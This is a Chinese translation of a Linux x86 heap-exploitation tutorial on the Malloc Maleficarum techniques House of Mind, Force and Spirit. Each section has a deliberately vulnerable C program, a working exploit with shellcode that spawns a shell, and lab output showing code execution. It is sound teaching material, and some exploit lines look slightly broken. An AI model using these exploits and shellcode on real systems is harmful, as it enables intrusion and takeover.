Linux (x86) Exploit 开发系列教程之十 使用 Malloc Maleficarum 的堆溢出
使用 Malloc Maleficarum 的堆溢出
译者：飞龙
预备条件：
从 2004 年末开始，glibc malloc 变得更可靠了。之后，类似 unlink 的技巧已经废弃，攻击者没有线索。但是在 2005 年末，Phantasmal Phatasmagoria 带来了下面这些技巧，用于成功利用堆溢出。
- House of Prime
- House of Mind
- House of Force
- House of Lore
- House of Spirit
House of Mind
这个技巧中，攻击者欺骗 glibc malloc 来使用由他伪造的 arena。伪造的 arena 以这种形式构造，unsorted bin 的 fd 包含free的 GOT 条目地址 -12。因此现在当漏洞程序释放某个块的时候，free的 GOT 条目被覆盖为 shellcode 的地址。在成功覆盖 GOT 之后，当漏洞程序调用free，shellcode 就会执行。
预备条件：下面是成功应用 House of Mind 的预备条件，因为不是所有堆溢出漏洞程序都可以使用这个技巧来利用。
在块的地址之前，需要一系列 malloc 调用 – 当对齐到内存区域中
HEAP_MAX_SIZE结果的倍数的时候，内存区域由攻击者控制。这是伪造的heap_info结构所在的内存区域。伪造的heap_info的 arena 指针ar_ptr会指向伪造的 arena。因此伪造的 arena 和伪造的heap_info的内存区域都能由攻击者控制。一个块，它的大小字段（以及它的 arena 指针 – 预备条件 1）由攻击者控制，应该已释放。
上述空闲块的下一个块应该不是 top 块。
漏洞程序：这个程序满足上述预备条件。
/* vuln.c
House of Mind vulnerable program
*/
#include <stdio.h>
#include <stdlib.h>
int main (void) {
char *ptr = malloc(1024); /* First allocated chunk */
char *ptr2; /* Second chunk/Last but one chunk */
char *ptr3; /* Last chunk */
int heap = (int)ptr & 0xFFF00000;
_Bool found = 0;
int i = 2;
for (i = 2; i < 1024; i++) {
/* Prereq 1: Series of malloc calls until a chunk's address - when aligned to HEAP_MAX_SIZE results in 0x08100000 */
/* 0x08100000 is the place where fake heap_info structure is found. */
/* [1] */
if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == \
(heap + 0x100000))) {
printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2);
found = 1;
break;
}
}
/* [2] */
ptr3 = malloc(1024); /* Last chunk. Prereq 3: Next chunk to ptr2 != av->top */
/* User Input. */
/* [3] */
fread (ptr, 1024 * 1024, 1, stdin);
/* [4] */
free(ptr2); /* Prereq 2: Freeing a chunk whose size and its arena pointer is controlled by the attacker. */
/* [5] */
free(ptr3); /* Shell code execution. */
return(0); /* Bye */
}上述漏洞程序的堆内存：
漏洞程序的行[3]是堆溢出发生的地方。用户输入储存在块 1 的mem指针处，大小共计 1MB。所以为了成功利用堆溢出，攻击者提供了下面的用户输入（列出顺序相同）。
- 伪造的 arena
- 垃圾数据
- 伪造的
heap_info - Shellcode
利用程序：这个程序生成了攻击者的数据文件：
/* exp.c
Program to generate attacker data.
Command:
#./exp > file
*/
#include <stdio.h>
#define BIN1 0xb7fd8430
char scode[] =
/* Shellcode to execute linux command "id". Size - 72 bytes. */
"\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
"\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
"\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
"\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
"\x5e\x9e\x39\xcb\xbf\x04\xea\x42";
char ret_str[4] = "\x00\x00\x00\x00";
void convert_endianess(int arg)
{
int i=0;
ret_str[3] = (arg & 0xFF000000) >> 24;
ret_str[2] = (arg & 0x00FF0000) >> 16;
ret_str[1] = (arg & 0x0000FF00) >> 8;
ret_str[0] = (arg & 0x000000FF) >> 0;
}
int main() {
int i=0,j=0;
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd */
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk */
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd_nextsize */
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk_nextsize */
/* Fake Arena. */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* mutex */
fwrite("\x01\x00\x00\x00", 4, 1, stdout); /* flag */
for(i=0;i<10;i++)
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fastbinsY */
fwrite("\xb0\x0e\x10\x08", 4, 1, stdout); /* top */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* last_remainder */
for(i=0;i<127;i++) {
convert_endianess(BIN1+(i*8));
if(i == 119) {
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* preserve prev_size */
fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* preserve size */
} else if(i==0) {
fwrite("\xe8\x98\x04\x08", 4, 1, stdout); /* bins[i][0] = (GOT(free) - 12) */
fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
}
else {
fwrite(ret_str, 4, 1, stdout); /* bins[i][0] */
fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
}
}
for(i=0;i<4;i++) {
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* binmap[i] */
}
fwrite("\x00\x84\xfd\xb7", 4, 1, stdout); /* next */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* next_free */
fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* system_mem */
fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* max_system_mem */
for(i=0;i<234;i++) {
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* PAD */
}
for(i=0;i<722;i++) {
if(i==721) {
/* Chunk 724 contains the shellcode. */
fwrite("\xeb\x18\x00\x00", 4, 1, stdout); /* prev_size - Jmp 24 bytes */
fwrite("\x0d\x04\x00\x00", 4, 1, stdout); /* size */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd_nextsize */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk_nextsize */
fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90", 16, 1, stdout); /* NOPS */
fwrite(scode, sizeof(scode)-1, 1, stdout); /* SHELLCODE */
for(j=0;j<230;j++)
fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
continue;
} else {
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* prev_size */
fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* size */
}
if(i==720) {
for(j=0;j<90;j++)
fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
fwrite("\x18\xa0\x04\x08", 4, 1, stdout); /* Arena Pointer */
for(j=0;j<165;j++)
fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
} else {
for(j=0;j<256;j++)
fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
}
}
return 0;
}漏洞程序的堆内存，在攻击者生成数据作为用户输入之后：
在攻击者生成数据作为用户输入之后，glibc malloc 执行下列事情，当漏洞程序的行[4]执行时：
- 正在释放的堆的 arena 由访问
arena_for_chunk获取。
arena_for_chunk：如果没有设置NON_MAIN_ARENA (N)位，会返回主 arena。如果设置了，会通过将块地址对齐到HEAP_MAX_SIZE的倍数，来访问相应的heap_info结构。之后，获取到的heap_info结构的arena 指针会返回。我们这里，NON_MAIN_ARENA位由攻击者设置，因此会获取正在释放的块的heap_info结构（0x08100000）。攻击者也覆盖了（所获取的heap_info结构的）arena 指针，使其指向伪造的 arena，也就是说，heap_info的ar_ptr等于伪造的 arena 的基址（0x0804a018）。
- 使用 arena 指针和块地址作为参数调用
_int_free。我们这里，arena 指针指向了伪造的 arena。因此伪造的 arena 和块地址作为参数传递给了_int_free。
- 伪造的 arena：下面是伪造区域的受控字段，需要由攻击者覆盖：
- Mutex - 应该为 unlocked 状态。
- Bins - unsorted bin 的 fd 应该包含
free的 GOT 条目地址。 - Top - Top 地址应该不等于正在释放的块地址。
- 系统内存 - 系统内存应该大于下一个块大小。
_int_free()
- 如果块不是 mmap 分配的，要获取锁。我们这里块不是 mmap 分配的，伪造的 arena 的互斥锁获取成功。
- 合并：
- 查看上一个块是否空闲，如果空闲则合并。我们这里上一个块已分配，所以不能向后合并。
- 查看下一个块是否空闲，如果空闲则合并。我们这里下一个块已分配，所以不能合并。
- 将当前空闲块放进 unsorted bin 中。我们这里伪造的 arena 的 unsorted bin 的 fd 包含
free的 GOT 条目地址 -12，它被复制给了fwd值。之后，当前空闲快的地址会复制给fwd->bk。bk位于malloc_chunk偏移 12 处，因此， 12 会加到fwd值，也就是free - 12 + 12。所以现在free的 GOT 条目会变为当前空闲块的地址。由于攻击者已经将他的 shellcode 放进当前空闲块了，现在开始，无论何时调用free，攻击者的 shellcode 都会执行。
- 伪造的 arena：下面是伪造区域的受控字段，需要由攻击者覆盖：
使用攻击者生成的数据文件，作为用户输入执行漏洞程序会执行 shellcode，像这样：
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -o exp exp.c
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./exp > file
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./vuln < file
ptr found at 0x804a008
good heap allignment found on malloc() 724 (0x81002a0)
uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)保护：现在，house of mind 技术不起作用了，因为 glibc malloc 已经变得更加可靠。它添加了下面的检查来防止使用 house of mind 的堆溢出。
块破坏：unsorted bin 的第一个块的
bk指针应该指向 unsorted bin。如果不是，glibc malloc 会抛出块破坏错误。if (__glibc_unlikely (fwd->bk != bck)) { errstr = "free(): corrupted unsorted chunks"; goto errout; }
House of Force
这个技巧中，攻击者滥用 top 块的大小，并欺骗 glibc malloc 使用 top 块来服务于一个非常大的内存请求（大于堆系统内存大小）。现在当新的 malloc 请求产生时，free的 GOT 表就会覆盖为 shellcode 地址。因此从现在开始，无论free何时调用，shellcode 都会执行。
预备条件：为了成功应用 house of force，需要下面三个 malloc 调用：
- Malloc 1：攻击者应该能够控制 top 块的大小。因此这个分配的块，也就是物理上在 top 块之前的块上，应该能产生堆溢出。
- Malloc 2：攻击者应该能够控制 malloc 请求的大小。
- Malloc 3：用户输入应该能复制到这个所分配的块中。
漏洞程序：这个程序满足上述要求
/*
House of force vulnerable program.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char *buf1, *buf2, *buf3;
if (argc != 4) {
printf("Usage Error\n");
return;
}
/* [1] */
buf1 = malloc(256);
/* [2] */
strcpy(buf1, argv[1]); /* Prereq 1 */
/* [3] */
buf2 = malloc(strtoul(argv[2], NULL, 16)); /* Prereq 2 */
/* [4] */
buf3 = malloc(256); /* Prereq 3 */
/* [5] */
strcpy(buf3, argv[3]); /* Prereq 3 */
/* [6] */
free(buf3);
free(buf2);
free(buf1);
return 0;
}上述漏洞程序的堆内存：
漏洞程序的行[2]是堆溢出发生的地方。因此为了成功利用堆溢出，攻击者需要提供下面的命令行参数：
argv[1]– 需要复制到第一个 malloc 块的 shellcode + 填充 + top 块大小。argv[2]– 第二个 malloc 块的大小参数。argv[3]– 复制到第三个 malloc 块的用户输入。
利用程序：
/* Program to exploit executable 'vuln' using hof technique.
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#define VULNERABLE "./vuln"
#define FREE_ADDRESS 0x08049858-0x8
#define MALLOC_SIZE "0xFFFFF744"
#define BUF3_USER_INP "\x08\xa0\x04\x08"
/* Spawn a shell. Size - 25 bytes. */
char scode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main( void )
{
int i;
char * p;
char argv1[ 265 ];
char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL };
strcpy(argv1,scode);
for(i=25;i<260;i++)
argv1[i] = 'A';
strcpy(argv1+260,"\xFF\xFF\xFF\xFF"); /* Top chunk size */
argv[264] = ''; /* Terminating NULL character */
/* Execution of the vulnerable program */
execve( argv[0], argv, NULL );
return( -1 );
}漏洞程序的堆内存，一旦攻击者的命令行参数复制到堆中：
使用攻击者的参数，下面的事情会发生：
行[2]会覆盖 top 块大小：
- 攻击者的参数（
argv[1] – Shellcode + Pad + 0xFFFFFFFF）会复制到堆缓冲区buf1。但是由于argv[1]大于 256，top 块的大小会覆盖为0xFFFFFFFF。
行[3]使用 top 块代码，分配了一个非常大的块。
- 非常大的块的分配请求发生在分配之后，新的 top 块应该位于
free的 GOT 条目之前 8 个字节处。所以另一个 malloc 请求（行[4]）会帮助我们覆盖free的 GOT 地址。 - 攻击者的参数（
argv[2] – 0xFFFFF744)会作为大小参数，传递给第二个 malloc 调用（行[3]）。大小参数使用下面的公式计算：
size = ((free-8)-top)- 其中
free是可执行文件vuln的 GOT 条目，也就是free = 0x08049858。top是当前 top 块（在第一个 malloc[1]之后），也就是top = 0x0804a108。
- 因此
size = ((0x8049858-0x8)-0x804a108) = -8B8 = 0xFFFFF748。 - 当
size = 0xFFFFF748时，我们的任务，将新的 top 块放置在free的 GOT 条目之前 8 个字节处，像这样完成了：
(0xFFFFF748+0x804a108) = 0x08049850 = (0x08049858-0x8)
- 但是，当攻击者传递大小参数
0xFFFFF748时，glibc malloc 将这个大小转换为可用大小0xFFFFF750。因此，现在新的 top 块大小应该位于0x8049858而不是0x8049850。因此攻击者应该传递0xFFFFF744作为大小参数，而不是0xFFFFF748，因为他会转换为我们所需的可用的大小0xFFFFF748。
在行[4]中：
- 现在由于行
[3]中的 top 块指向0x8049850，一个 256 字节的内存分配请求会使 glibc malloc 返回0x8049858，他会复制到buf3。
在行[5]中：
将buf1的地址复制给buf3，会导致 GOT 覆盖。因此free的调用（行[6]）会导致 shellcode 执行。
使用攻击者的命令行参数执行漏洞程序，会执行 shellcode，像这样：
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc -g -o exp exp.c
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ ./exp
$ ls
cmd exp exp.c vuln vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ 保护：直到现在，没有添加针对这个技巧的任何保护。这个技巧能帮助我们利用堆溢出，即使它使用最新的 glibc 编译。
House of Spirit
在这个技巧中，攻击者欺骗 glibc malloc 来返回一个块，它位于栈中（而不是堆中）。这允许攻击者覆盖储存在栈中的返回地址。
预备条件：下面是用于成功利用 house of spirit 的预备条件，因为不是所有堆溢出漏洞程序都可以使用这个技巧利用。
- 一个缓冲区溢出，用于覆盖一个变量，它包含块地址，由 glibc malloc 返回。
- 上面的块应该是空闲的。攻击者应该能够控制这个空闲块的大小。它以这种方式控制，空闲块的大小等于下一个分配块的大小。
- Malloc 一个块。
- 用户输入应该能够复制到上面所分配的块中。
漏洞程序：这个程序满足上述要求
/* vuln.c
House of Spirit vulnerable program
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void fvuln(char *str1, int age)
{
char *ptr1, name[44];
int local_age;
char *ptr2;
[1]local_age = age; /* Prereq 2 */
[2]ptr1 = (char *) malloc(256);
printf("\nPTR1 = [ %p ]", ptr1);
[3]strcpy(name, str1); /* Prereq 1 */
printf("\nPTR1 = [ %p ]\n", ptr1);
[4]free(ptr1); /* Prereq 2 */
[5]ptr2 = (char *) malloc(40); /* Prereq 3 */
[6]snprintf(ptr2, 40-1, "%s is %d years old", name, local_age); /* Prereq 4 */
printf("\n%s\n", ptr2);
}
int main(int argc, char *argv[])
{
int i=0;
int stud_class[10]; /* Required since nextchunk size should lie in between 8 and arena's system_mem. */
for(i=0;i<10;i++)
[7]stud_class[i] = 10;
if (argc == 3)
fvuln(argv[1], 25);
return 0;
}上述漏洞程序的栈布局：
漏洞程序的行[3]是缓冲区溢出发生处。因此为了成功利用漏洞程序，攻击者需要提供下面的命令行参数：
argv[1] = Shell Code + Stack Address + Chunk size利用程序：
/* Program to exploit executable 'vuln' using hos technique.
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#define VULNERABLE "./vuln"
/* Shellcode to spwan a shell. Size: 48 bytes - Includes Return Address overwrite */
char scode[] =
"\xeb\x0e\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb8\xfd\xff\xbf\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90";
int main( void )
{
int i;
char * p;
char argv1[54];
char * argv[] = { VULNERABLE, argv1, NULL };
strcpy(argv1,scode);
/* Overwrite ptr1 in vuln with stack address - 0xbffffdf0. Overwrite local_age in vuln with chunk size - 0x30 */
strcpy(argv1+48,"\xf0\xfd\xff\xbf\x30");
argv[53] = '';
/* Execution of the vulnerable program */
execve( argv[0], argv, NULL );
return( -1 );
}使用攻击者的参数之后，上述漏洞程序的栈布局：
使用攻击者的参数，让我们看看返回地址如何覆盖。
行[3]：缓冲区溢出
- 这里攻击者的输入
argv[1]复制到了字符缓冲区name中。因为攻击者的输入大于 44，变量ptr1和loacl_age被栈地址和块大小覆盖。
- 栈地址（
0xbffffdf0） – 当行[5]执行时，攻击者欺骗 glibc malloc 来返回这个地址。 - 块大小（
0x30） – 当行[4]执行时，这个块大小用于欺骗 glibc malloc。
- 栈地址（
行[4]：将栈区域添加到 glibc malloc 的 fastbin 中。
free()调用了_int_free()。现在在缓冲区溢出之后，ptr1 = 0xbffffdf0（而不是0x804aa08）。被覆盖的ptr1作为参数传递给free。这欺骗 glibc malloc 来释放栈上的内存区域。被释放的这个栈区域的大小，位于ptr1-8+4，被攻击者覆盖为0x30。因此 glibc malloc 将这个块看做 fast 块（因为48 < 64），并将释放得快插入 fast binlist 的前面，位于下标 4。
行[5]：获取（在行[4]添加的）栈区域
- malloc 请求 40 由
checked_request2size转换为可用大小 48。由于可用代销 48 属于 fast 块，对应的 fast bin（位于下标 4）会被获取。fast binlist 的第一个块被溢出，并返回给用户。第一个块是在行[4]执行过程中添加的栈区域。
行[6]：覆盖返回地址
- 将攻击者的参数
argv[1]复制到栈区域（由 glibc malloc 返回），它从0xbffffdf0位置开始。argv[1]的前 16 个字节是：
\xeb\x0e：JMP 14 字节。\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41：填充。\xb8\xfd\xff\xbf：储存在栈上的返回地址会被这个值覆盖。因此在fvuln执行之后，EIP 是0xbffffdb8– 这个位置包含 JMP 指令，之后是派生 shell 的 shellcode。
使用攻击者的参数执行漏洞程序会执行 shellcode，像这样：
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc -g -fno-stack-protector -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc -g -o exp exp.c
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ ./exp
PTR1 = [ 0x804a008 ]
PTR1 = [ 0xbffffdf0 ]
AAAAAAAAAA����1�Ph//shh/bin��P��S�
$ ls
cmd exp exp.c print vuln vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$保护：直到现在，没有添加针对这个技巧的任何保护。这个技巧能帮助我们利用堆溢出，即使它使用最新的 glibc 编译。
House of Prime: TBU
House of Lore: TBU
注意：出于演示目的，所有漏洞程序都不使用下列 Linux 保护机制编译：
- ASLR
- NX
- RELRO（重定向只读）
参考
